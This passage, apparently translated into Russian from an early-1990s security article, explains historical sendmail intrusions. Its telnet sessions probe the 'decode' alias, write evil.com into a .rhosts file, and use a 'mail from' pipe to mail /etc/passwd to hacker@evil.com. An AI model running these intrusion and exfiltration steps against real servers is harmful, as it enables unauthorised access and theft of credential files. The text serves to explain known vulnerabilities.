Проникновение в систему с помощью sendmail
Sendmail - это очень сложная программа, у которой всегда было много проблем с безопасностью, включая печально известную команду "debug" . С ее помощью, например, зачастую можно получить некоторую информацию об удаленной системе, иногда вплоть до номера версии, анализируя ее сообщения. Это дает возможность определить наличие в системе известных ошибок. Кроме того, можно увидеть, запущен ли псевдоним "decode" , имеющий ряд проблем: evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25 connection open 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT expn decode
250 <"|/usr/bin/uudecode"> quit
Наличие псевдонима decode подвергает систему риску, что злоумышленник может изменить любые файлы, доступные для записи владельцу этого псевдонима, которым, как правило, является демон. Этот фрагмент кода поместит evil.com в файл .rhosts пользователя hacker, если он доступен для записи: evil % echo "evil.com" | uuencode /home/hacker/.rhosts | mail decode@victim.com
В части sendmail, отвечающей за пересылку, были две хорошо известные ошибки. Первая была устранена в версии 5.59 Berkeley. Для версий sendmail до 5.59 в приведенном примере, несмотря на сообщения об ошибках, "evil.com" добавляется к файлу .rhosts вместе с обычными почтовыми заголовками: % cat evil_sendmail
telnet victim.com 25 << EOSM rcpt to: /home/hacker/.rhosts mail from: hacker data . rcpt to: /home/hacker/.rhosts mail from: hacker data evil.com . quit EOSM evil % /bin/sh evil_sendmail
Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l hacker
Welcome to victim.com! victim %
Вторая ошибка, исправленная недавно, позволяла кому угодно задавать произвольные команды оболочки и/или пути для посылающей и/или принимающей стороны. Попытки сохранить детали в секрете были тщетными, и широкая дискуссия в эхо-конференциях привела к обнародованию того, как можно использовать некоторые ошибки. Как и для большинства других ошибок UNIX, почти все системы оказались уязвимы для этих атак, поскольку все они имели в основе один и тот же исходный текст. Типичная атака с помощью sendmail, направленная на получение пароля, может выглядеть так: evil % telnet victim.com 25
Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail hacker@evil.com < /etc/passwd"
250 "|/bin/mail hacker@evil.com < /etc/passwd"... Sender ok rcpt to: nosuchuser
550 nosuchuser... User unknown data
354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit
Connection closed by foreign host. evil %
Видно, что все атаки на sendmail идут на уровне незарегистрированного удаленного пользователя, и поэтому относятся к сценарию 1. Ну, а к sendmail мы еще вернемся.